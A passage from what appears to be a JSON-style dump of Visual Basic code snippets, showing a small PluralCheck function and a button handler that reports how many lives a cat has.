PluralCheck(Num, Singular As String, Plural As String) As String\nDim NumString As String\nNumString = Trim(Str(Num)) & \" \"\nIf Num = 1 Then\n PluralCheck = NumString & Singular\nElse\n PluralCheck = NumString & Plural\nEnd If\nEnd Function\nPrivate Sub Command1_Click()\nDim N As Integer\nN = Val(Text1.Text)\nMsgBox \"Cats have \" & PluralCheck(N, \"life\", \"lives\")\nEnd Sub\n"},{"WorldId":1,"id":25596,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25598,"LineNumber":1,"l